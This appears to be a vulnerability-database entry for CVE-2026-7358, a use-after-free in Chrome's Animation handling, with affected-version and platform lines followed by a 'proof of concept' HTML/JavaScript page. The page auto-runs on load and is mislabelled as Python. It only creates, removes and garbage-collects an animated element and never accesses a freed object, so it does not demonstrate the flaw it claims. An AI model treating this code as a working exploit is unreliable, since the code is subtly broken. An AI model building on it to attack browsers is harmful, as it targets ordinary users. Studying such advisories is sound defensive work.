Use after free in Animation in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual Proof of Concept for CVE-2026-7358
This script demonstrates the basic logic of triggering a Use-After-Free in Chrome Animations.
Note: Actual exploitation requires heap grooming and specific memory layout control.
-->
<html>
<head>
<script>
function trigger_uaf() {
// Step 1: Create an element with animation
const target = document.createElement('div');
target.style.animation = 'test 1s';
document.body.appendChild(target);
// Step 2: Force a layout calculation and interaction
// This step is critical to trigger the internal animation state
target.getBoundingClientRect();
// Step 3: Remove the element to potentially free the animation object
// The vulnerability occurs if the internal animation object is freed here
// but a reference remains in the event loop or animation frame callback.
document.body.removeChild(target);
// Step 4: Trigger Garbage Collection (Conceptual)
// In a real exploit, we would try to reallocate this memory with controlled data.
if (window.gc) {
window.gc();
}
// Step 5: Attempt access (Crash or Exploit)
// Accessing the freed object triggers the vulnerability.
console.log("Attempting to access potentially freed animation object...");
}
// Auto-run on load
window.onload = trigger_uaf;
</script>
<style>
@keyframes test {
from { opacity: 1; }
to { opacity: 0; }
}
</style>
</head>
<body>
<h1>CVE-2026-7358 PoC Test</h1>
</body>
</html>